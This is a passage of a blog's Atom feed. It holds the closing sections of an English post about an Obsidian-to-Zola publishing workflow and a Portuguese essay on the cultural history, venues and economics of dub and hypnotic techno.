&lt;h2 id=&quot;the-workflow-in-action&quot;&gt;The Workflow in Action&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-workflow-in-action&quot; aria-label=&quot;Anchor link for: the-workflow-in-action&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;The complete publishing process looks like this:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Write&lt;&#x2F;strong&gt;: Create a new post in Obsidian using the Templater plugin&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Sync&lt;&#x2F;strong&gt;: Execute the shell command to run the synchronization script&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Deploy&lt;&#x2F;strong&gt;: GitHub Actions automatically builds and deploys the site&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Serve&lt;&#x2F;strong&gt;: Caddy serves the static files with optimal performance and security&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;This creates a writing experience that feels like using a modern note-taking app but publishes to a professional, high-performance website.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;This workflow is more than just a technical solution—it&#x27;s basically about leveraging automation to focus on what actually matters: creating content. By removing friction from the publishing process, I can concentrate on writing rather than wrestling with deployment stuff.&lt;&#x2F;p&gt;
&lt;p&gt;The combination of Obsidian&#x27;s excellent writing experience, Zola&#x27;s performance, and modern CI&#x2F;CD practices creates a publishing system that works great for personal blogs while maintaining simplicity and reliability.&lt;&#x2F;p&gt;
&lt;p&gt;The time I spent building this automation pays off with every post I publish, turning what used to be a multi-step, error-prone process into a single command execution.&lt;&#x2F;p&gt;
&lt;p&gt;Fun fact: This blog post was written exactly with that same workflow I just showed you. ;)&lt;&#x2F;p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Underground Frequencies – A Revolução Cultural do Techno</title>
		<published>2025-09-10T00:00:00+00:00</published>
		<updated>2025-09-10T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/underground-frequencies-a-revolucao-cultural-do-techno/" type="text/html"/>
		<id>https://biscoito.eu/posts/underground-frequencies-a-revolucao-cultural-do-techno/</id>
		<content type="html">&lt;p&gt;Como alguém que passou incontáveis madrugadas perdido entre as batidas hipnóticas de clubs de Techno underground, e até em casa, posso dizer que o que começou nos porões de Berlim se transformou em algo muito maior do que música. O &lt;strong&gt;Deep&lt;&#x2F;strong&gt;&#x2F;&lt;strong&gt;Hypnotic&lt;&#x2F;strong&gt; e &lt;strong&gt;Dub &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Techno&quot;&gt;Techno&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; que emergiram dos escombros da reunificação alemã criaram um &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;alataj.com.br&#x2F;xpress&#x2F;ims-report-2025&quot;&gt;fenômeno cultural global de US$ 12,9 bilhões&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; que funciona tanto como movimento de resistência quanto como força de construção de comunidade em seis continentes.&lt;&#x2F;p&gt;
&lt;p&gt;Esses não são apenas &quot;subgêneros&quot; do techno – são ecossistemas culturais completos que reformularam o desenvolvimento urbano, a expressão política e a formação da identidade social ao redor do mundo. E tudo começou em 1993, quando dois caras em Berlim gravaram uma faixa ao vivo num galpão abandonado em Potsdam. Hoje, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.npr.org&#x2F;2024&#x2F;03&#x2F;15&#x2F;1238876785&#x2F;how-berlins-legendary-techno-scene-has-become-recognized-by-unesco&quot;&gt;essa cultura é reconhecida pela UNESCO&lt;&#x2F;a&gt; como patrimônio cultural imaterial.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-revolucao-do-dub-techno-berlinense&quot;&gt;A revolução do Dub Techno berlinense&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-revolucao-do-dub-techno-berlinense&quot; aria-label=&quot;Anchor link for: a-revolucao-do-dub-techno-berlinense&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Vamos voltar para &lt;strong&gt;1993 em Berlim&lt;&#x2F;strong&gt;. A cidade ainda estava se reorganizando depois da queda do Muro, haviam prédios abandonados por todo lado, e foi nesse cenário que &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Moritz_von_Oswald&quot;&gt;Moritz von Oswald&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;ra.co&#x2F;dj&#x2F;markernestus&quot;&gt;Mark Ernestus&lt;&#x2F;a&gt; formaram o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Basic_Channel&quot;&gt;Basic Channel&lt;&#x2F;a&gt;. Eles pegaram a produção carregada do eco do Dub jamaicano e misturaram com as estruturas minimalistas do techno de Detroit. O resultado? Um gênero completamente novo que mudaria tudo.&lt;&#x2F;p&gt;
&lt;p&gt;A coisa toda começou na &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;hardwax.com&#x2F;&quot;&gt;Hard Wax&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;, aquela loja de discos lendária onde Ernestus tinha um conhecimento absurdo de música eletrônica e von Oswald trazia sua experiência como percussionista. Como o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.vice.com&#x2F;en&#x2F;article&#x2F;a-bullshitters-guide-to-dub-techno&#x2F;&quot;&gt;escritor Josh Baines colocou&lt;&#x2F;a&gt;, eles criaram &quot;um techno business fundamental que definiu o padrão de um gênero inteiro por três décadas&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;O approach tecnológico deles era revolucionário: &lt;strong&gt;chains de hardware analógico&lt;&#x2F;strong&gt; com efeitos extensivos de delay e reverb, sampling lo-fi em bitrates reduzidos para criar textura de &quot;ruído&quot;, e múltiplos passthroughs através de chains de reverb–delay usando o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Roland_Space_Echo&quot;&gt;Roland Space Echo&lt;&#x2F;a&gt; e outros sintetizadores analógicos. Entre 1993-1994, eles lançaram nove discos de 12&quot;, incluindo o lendário &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.discogs.com&#x2F;release&#x2F;2163-Basic-Channel-Phylyps-Trak&quot;&gt;Phylyps Trak&lt;&#x2F;a&gt;&quot; e &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.discogs.com&#x2F;release&#x2F;2166-Basic-Channel-Quadrant-Dub&quot;&gt;Quadrant Dub&lt;&#x2F;a&gt;&quot;, que estabeleceram o padrão atmosférico que influenciaria milhares de artistas globalmente.&lt;&#x2F;p&gt;
&lt;p&gt;Quando expandiram para o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Chain_Reaction_(record_label)&quot;&gt;Chain Reaction&lt;&#x2F;a&gt; label em 1995&lt;&#x2F;strong&gt;, trouxeram artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Monolake&quot;&gt;Monolake&lt;&#x2F;a&gt;, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;ra.co&#x2F;dj&#x2F;porterricks&quot;&gt;Porter Ricks&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Vladislav_Delay&quot;&gt;Vladislav Delay&lt;&#x2F;a&gt; para o que virou conhecido como a rede &quot;amigos e família estendida&quot;. Isso criou o primeiro padrão importante para formação da comunidade de música eletrônica – um coletivo solto de produtores com valores estéticos compartilhados, mas mantendo autonomia artística individual.&lt;&#x2F;p&gt;
&lt;p&gt;É engraçado que o termo &quot;Dub Techno&quot; só se solidificou em &lt;strong&gt;2001&lt;&#x2F;strong&gt;, quando a revista The Wire usou pela primeira vez em print, revisando o &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Loop-Finding-Jazz-Records&quot;&gt;Loop Jazz Finding Records&lt;&#x2F;a&gt;&quot; do Jan Jelinek. Essa demora entre a prática e o nome mostra como a cena se desenvolveu organicamente, sem pressão comercial – os artistas estavam criando a música anos antes dos marketeiros precisarem categorizá-la. Ainda bem.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;como-contextos-locais-moldaram-sons-globais&quot;&gt;Como contextos locais moldaram sons globais&lt;a class=&quot;zola-anchor&quot; href=&quot;#como-contextos-locais-moldaram-sons-globais&quot; aria-label=&quot;Anchor link for: como-contextos-locais-moldaram-sons-globais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;A expansão global do Deep&#x2F;Hypnotic e Dub Techno revela como &lt;strong&gt;contextos pós-autoritários&lt;&#x2F;strong&gt; fornecem terreno particularmente fértil para o desenvolvimento cultural da música eletrônica. A pesquisa acadêmica de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;de.wikipedia.org&#x2F;wiki&#x2F;Tobias_Rapp&quot;&gt;Tobias Rapp&lt;&#x2F;a&gt; mostra como a cena techno de Berlim emergiu como resposta à reorganização social pós-reunificação, criando respostas culturais &quot;desterritorializadas&quot; à globalização enquanto mantinha especificidade local.&lt;&#x2F;p&gt;
&lt;p&gt;Cada cena regional desenvolveu características distintivas baseadas em intersecções culturais específicas. A &lt;strong&gt;abordagem de Detroit&lt;&#x2F;strong&gt; através de artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Deepchord&quot;&gt;Rod Modell&lt;&#x2F;a&gt; (DeepChord) e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;echospace313.com&#x2F;&quot;&gt;Echospace&lt;&#x2F;a&gt; enfatizava conexão com a herança industrial da cidade, usando &quot;nada além de equipamento analógico vintage&quot; para criar música que parecia &quot;transmitida do fundo do mar&quot;. A colaboração entre Modell de Detroit e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.discogs.com&#x2F;artist&#x2F;504831-Stephen-Hitchell&quot;&gt;Stephen Hitchell&lt;&#x2F;a&gt; de Chicago produziu o aclamado &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.discogs.com&#x2F;master&#x2F;4500-DeepChord-presents-Echospace-The-Coldest-Season&quot;&gt;The Coldest Season&lt;&#x2F;a&gt;&quot; de 2007 no selo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.discogs.com&#x2F;label&#x2F;10999-Modern-Love&quot;&gt;Modern Love&lt;&#x2F;a&gt; de Manchester, demonstrando as redes transnacionais que definem a cultura contemporânea da música eletrônica.&lt;&#x2F;p&gt;
&lt;p&gt;As &lt;strong&gt;cenas pós-comunistas do Leste Europeu&lt;&#x2F;strong&gt; desenvolveram estéticas particularmente cruas refletindo ética DIY e resistência política. O festival &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;CzechTek&quot;&gt;CzechTek&lt;&#x2F;a&gt; da República Tcheca, brutalmente suprimido em 2005, criou dimensões políticas que conectaram música eletrônica a movimentos anti-autoritários mais amplos. A análise acadêmica revela que essas cenas funcionam como &quot;laboratórios para relações econômicas e sociais alternativas&quot;, operando através do que o etnógrafo Verbuc chama de &quot;sistemas econômicos alternativos de reciprocidade&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;A fragmentação regional da Itália criou cenas distintas baseadas em cidades: Nápoles desenvolveu &quot;techno napolitano&quot; com tempos mais rápidos e grooves através de artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Marco_Carola&quot;&gt;Marco Carola&lt;&#x2F;a&gt;, enquanto a estética de Roma enfatizava texturas escuras e industriais refletindo o contraste antigo&#x2F;moderno da cidade. Enquanto isso, a &lt;strong&gt;cena de Tel Aviv&lt;&#x2F;strong&gt; misturou música eletrônica com elementos musicais do Oriente Médio, criando o som &quot;orgânico-analógico&quot; popular no &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;burningman.org&#x2F;&quot;&gt;Burning Man&lt;&#x2F;a&gt; e refletindo a geografia cultural complexa da cidade.&lt;&#x2F;p&gt;
&lt;p&gt;O &lt;strong&gt;modelo holandês&lt;&#x2F;strong&gt; demonstra integração comercial bem-sucedida sem perder credibilidade underground, com o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.amsterdam-dance-event.nl&#x2F;en&#x2F;&quot;&gt;Amsterdam Dance Event&lt;&#x2F;a&gt; se tornando a maior conferência de música eletrônica do mundo enquanto mantém conexão com a cultura grassroots. Essa abordagem influenciou desenvolvimentos similares em Melbourne, onde o isolamento geográfico forçou inovação, levando à distintiva cultura de dança &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Melbourne_shuffle&quot;&gt;Melbourne Shuffle&lt;&#x2F;a&gt;&quot; e fusão criativa de influências internacionais adaptadas a contextos locais.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;venues-como-instituicoes-culturais&quot;&gt;Venues como instituições culturais&lt;a class=&quot;zola-anchor&quot; href=&quot;#venues-como-instituicoes-culturais&quot; aria-label=&quot;Anchor link for: venues-como-instituicoes-culturais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Os venues&#x2F;clubs que moldaram essas cenas funcionam muito mais que espaços de entretenimento – eles operam como &lt;strong&gt;incubadoras culturais, espaços políticos e centros comunitários&lt;&#x2F;strong&gt; que resistem ativamente à comodificação mainstream. O &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.berghain.berlin&#x2F;en&#x2F;&quot;&gt;Berghain&lt;&#x2F;a&gt;, que evoluiu do sexualmente liberado Ostgut (1998-2003), representa essa evolução mais claramente. Em 2016, um tribunal alemão o designou oficialmente como instituição cultural, reconhecendo seu papel no que a UNESCO agora reconhece como patrimônio cultural imaterial.&lt;&#x2F;p&gt;
&lt;p&gt;A significância cultural do Berghain vai além de suas maratonas de sexta a segunda e dos residentes lendários &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Ben_Klock&quot;&gt;Ben Klock&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Marcel_Dettmann&quot;&gt;Marcel Dettmann&lt;&#x2F;a&gt;. Como o dono Norbert Thormann nota, &quot;as melhores ideias nascem depois das 3:30 da manhã&quot; - reconhecendo como experiências temporais estendidas criam condições para inovação cultural impossível em venues de entretenimento convencionais. A política da porta do club, que rejeita escolhas direcionadas pela moda em favor do engajamento autêntico com a música, incorpora o que a pesquisa acadêmica identifica como &quot;resistência espacial&quot; através da ocupação de espaços urbanos marginais.&lt;&#x2F;p&gt;
&lt;p&gt;A &lt;strong&gt;importância histórica do &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;tresorberlin.com&#x2F;&quot;&gt;Tresor&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; em conectar Berlim e Detroit demonstra como venues funcionam como pontes culturais. O fundador &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dimitri_Hegemann&quot;&gt;Dimitri Hegemann&lt;&#x2F;a&gt; estabeleceu o eixo crucial Berlim-Detroit trazendo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Underground_Resistance&quot;&gt;Underground Resistance&lt;&#x2F;a&gt; e outros artistas de Detroit para tocar no vault de uma antiga loja de departamentos da Alemanha Oriental. Isso criou o que Hegemann descreveu como o espaço onde &quot;duas culturas colidiram e se entenderam imediatamente através do techno&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;A influência global desses venues aparece em desenvolvimentos contemporâneos como o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;dc10ibiza.com&#x2F;en&#x2F;&quot;&gt;DC10 Ibiza&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;, que mantém seu motto &quot;No Soul for Sale&quot; enquanto hospeda festas Circoloco que criaram &quot;um movimento global&quot; influenciando moda (coleção 2018 do &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Virgil_Abloh&quot;&gt;Virgil Abloh&lt;&#x2F;a&gt;) e cultura de club internacionalmente. Localizado no final de uma pista de aeroporto onde &quot;jatos rugem sobre a cabeça enquanto a festa bomba embaixo&quot;, o DC10 incorpora o compromisso da cena com experiência bruta sobre polimento comercial.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;teoria-encontra-pista-de-danca&quot;&gt;Teoria encontra pista de dança&lt;a class=&quot;zola-anchor&quot; href=&quot;#teoria-encontra-pista-de-danca&quot; aria-label=&quot;Anchor link for: teoria-encontra-pista-de-danca&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;A pesquisa acadêmica revela comunidades de música eletrônica como formações culturais sofisticadas exemplificando o que o sociólogo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Michel_Maffesoli&quot;&gt;Michel Maffesoli&lt;&#x2F;a&gt; chama de organização &quot;neo-tribal&quot;. O estudo seminal de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;journals.sagepub.com&#x2F;doi&#x2F;full&#x2F;10.1177&#x2F;17470218251316499&quot;&gt;Cannon e Greasley na Sage Open&lt;&#x2F;a&gt; demonstra como eventos de música eletrônica dançante funcionam como &quot;re-atualizações de noções históricas de comunidade&quot;, criando espaços para &quot;práticas compartilhadas e vínculos comuns, provocando um senso de solidariedade e pertencimento&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Mark_Fisher&quot;&gt;Mark Fisher&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Simon_Reynolds&quot;&gt;Simon Reynolds&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; desenvolveram frameworks teóricos cruciais conectando música eletrônica à teoria cultural mais ampla. O conceito de &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Mark_Fisher#Hauntology&quot;&gt;hauntology&lt;&#x2F;a&gt;&quot; de Fisher fornece ferramentas analíticas para entender a relação da música eletrônica com &quot;futuros perdidos&quot; e memória cultural, enquanto Reynolds identifica música eletrônica hauntológica como endereçando &quot;impasse cultural: o fracasso do futuro&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;A recepção acadêmica do groundbreaking &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.goodreads.com&#x2F;book&#x2F;show&#x2F;15738600-lost-and-sound&quot;&gt;Lost and Sound&lt;&#x2F;a&gt;&quot; de Tobias Rapp demonstra crescente reconhecimento acadêmico. O review de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;music.usc.edu&#x2F;sean-nye&#x2F;&quot;&gt;Sean Nye&lt;&#x2F;a&gt; na Dancecult identifica o trabalho de Rapp como crucial para entender &quot;os mecanismos de comercialização e deslocamento&quot; e como a cultura techno de Berlim resistiu a padrões típicos de comodificação cultural. Essa pesquisa estabelece comunidades de música eletrônica como sites importantes para entender formas contemporâneas de formação de comunidade e sistemas econômicos alternativos.&lt;&#x2F;p&gt;
&lt;p&gt;Estudos etnográficos publicados no &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;online.ucpress.edu&#x2F;jpms&quot;&gt;Journal of Popular Music Studies&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;dj.dancecult.net&#x2F;index.php&#x2F;dancecult&quot;&gt;Dancecult&lt;&#x2F;a&gt; revelam como essas comunidades se desenvolvem através do que pesquisadores chamam de &quot;socialidade empática&quot; – experiências coletivas ritualizadas, valores estéticos compartilhados rejeitando produtos culturais mainstream, letramento tecnológico como marcadores de membership comunitário, e conexões global-locais através de música e intercâmbio cultural.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;significancia-contemporanea-e-impacto-economico&quot;&gt;Significância contemporânea e impacto econômico&lt;a class=&quot;zola-anchor&quot; href=&quot;#significancia-contemporanea-e-impacto-economico&quot; aria-label=&quot;Anchor link for: significancia-contemporanea-e-impacto-economico&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;O cenário contemporâneo (2020-2025) demonstra resiliência e crescimento notáveis, com Deep&#x2F;Hypnotic e Dub Techno contribuindo para uma indústria global de música eletrônica avaliada em &lt;strong&gt;US$ 12,9 bilhões em 2025&lt;&#x2F;strong&gt;. Os gêneros não apenas sobreviveram à pandemia de COVID-19, mas emergiram mais fortes, com receitas do setor ao vivo agora dobrando os níveis pré-pandemia e plataformas de streaming pagando &lt;strong&gt;US$ 10 bilhões para a indústria musical em 2024&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Os dados do Beatport revelam&lt;&#x2F;strong&gt; a vitalidade contemporânea da cena: a plataforma adiciona aproximadamente 100.000 novas faixas mensalmente, com artistas de Deep&#x2F;Hypnotic techno como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.beatport.com&#x2F;artist&#x2F;klint&#x2F;989820&#x2F;tracks?page=1&amp;amp;per_page=150&quot;&gt;Klint&lt;&#x2F;a&gt;, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.beatport.com&#x2F;artist&#x2F;chlr&#x2F;645779&quot;&gt;Chlär&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.beatport.com&#x2F;artist&#x2F;vinicius-honorio&#x2F;85863&quot;&gt;Vinicius Honorio&lt;&#x2F;a&gt; ranqueando entre os top sellers. O surgimento de selos como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;indexrecords.bandcamp.com&#x2F;&quot;&gt;INDEX:Records&lt;&#x2F;a&gt; de Berlim, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;inciensorecs.bandcamp.com&#x2F;&quot;&gt;Incienso&lt;&#x2F;a&gt; de Nova York e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.naffrecordings.com&#x2F;&quot;&gt;naff recordings&lt;&#x2F;a&gt; de Montreal demonstra inovação contínua e expansão geográfica.&lt;&#x2F;p&gt;
&lt;p&gt;A &lt;strong&gt;revolução do streaming&lt;&#x2F;strong&gt; beneficia particularmente gêneros de música eletrônica, com mais de 50% dos artistas gerando pelo menos US$ 1.000 em royalties de streaming ganhando a maioria de ouvintes fora de seus países de origem. Esse alcance global permite que artistas em Medellín, Tel Aviv e Melbourne se conectem diretamente com audiências internacionais enquanto mantêm conexões comunitárias locais.&lt;&#x2F;p&gt;
&lt;p&gt;O COVID-19 inicialmente devastou a cena, com ganhos de DJs despencando 61% de US$ 1,1 bilhão em 2019 para US$ 400 milhões em 2020. No entanto, o pivot digital criou novas oportunidades: clubs abraçaram eventos virtuais e live streaming, a Geração Z descobriu techno através de plataformas digitais durante lockdowns, e comunidades online se desenvolveram complementando em vez de substituir encontros físicos.&lt;&#x2F;p&gt;
&lt;p&gt;A cena atual demonstra o que teóricos culturais identificam como organização &quot;pós-subcultural&quot; – estruturas baseadas em rede em vez de hierárquicas, membership fluido e afiliações múltiplas, e autonomia criativa enfatizando independência artística. Isso aparece em venues como o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;kwia.berlin&#x2F;&quot;&gt;kwia listening bar&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; de Berlim, que fomenta &quot;comunidades queer juvenis&quot; ao redor de ambient e Dub Techno, representando um contra-movimento consciente à &quot;fixação da cultura mainstream de club em beats mais duros e rápidos&quot;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;identidade-pertencimento-e-transformacao-cultural&quot;&gt;Identidade, pertencimento e transformação cultural&lt;a class=&quot;zola-anchor&quot; href=&quot;#identidade-pertencimento-e-transformacao-cultural&quot; aria-label=&quot;Anchor link for: identidade-pertencimento-e-transformacao-cultural&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Essas comunidades funcionam como espaços onde a tecnologia permite tanto circulação cultural global quanto formação de comunidade local, criando o que a pesquisa acadêmica identifica como &quot;espaços protegidos para intercâmbio e novas ideias&quot;. As estruturas hipnóticas e repetitivas dos gêneros facilitam o que pesquisadores chamam de &quot;experiências estéticas transformativas&quot; que endereçam desafios contemporâneos de atomização social e comodificação cultural.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Underground Resistance&lt;&#x2F;strong&gt;, fundado por &quot;Mad&quot; &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Mike_Banks_(musician)&quot;&gt;Mike Banks&lt;&#x2F;a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Jeff_Mills&quot;&gt;Jeff Mills&lt;&#x2F;a&gt; em 1989, demonstra isso mais claramente através de sua conexão de &quot;estéticas do techno inicial de Detroit a circunstâncias sociais, políticas e econômicas&quot; seguindo a recessão de inner-city da era Reagan. Seu ethos anti-corporativo, performando em ski masks para enfatizar anonimato sobre cultura &quot;superstar DJ&quot;, estabeleceu padrões para manter integridade política enquanto alcança influência global.&lt;&#x2F;p&gt;
&lt;p&gt;A conexão entre &lt;strong&gt;sociedades pós-autoritárias e cultura techno&lt;&#x2F;strong&gt; aparece através de múltiplos contextos: o vácuo cultural pós-reunificação de Berlim, desenvolvimento underground pós-comunista do Leste Europeu, e transformação pós-narcoviolência de Medellín onde música eletrônica se tornou ferramenta para renovação positiva da imagem da cidade. A análise acadêmica revela como esses contextos criam condições onde comunidades de música eletrônica servem como &quot;laboratórios para relações econômicas e sociais alternativas&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;Desafios contemporâneos incluindo ameaças de gentrificação (fenômeno &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;www.dw.com&#x2F;en&#x2F;is-berlin-in-a-club-death-spiral&#x2F;a-70341859&quot;&gt;Clubsterben&lt;&#x2F;a&gt;&quot; de Berlim), tensões de apropriação cultural, e saturação de mercado com uploads de 100.000+ faixas mensais demonstram a luta contínua entre autenticidade underground e sucesso mainstream. No entanto, a resiliência demonstrada das cenas, inovação contínua através de novos conceitos de venue e técnicas de produção, e crescente reconhecimento acadêmico sugerem perspectivas robustas para significância cultural contínua.&lt;&#x2F;p&gt;
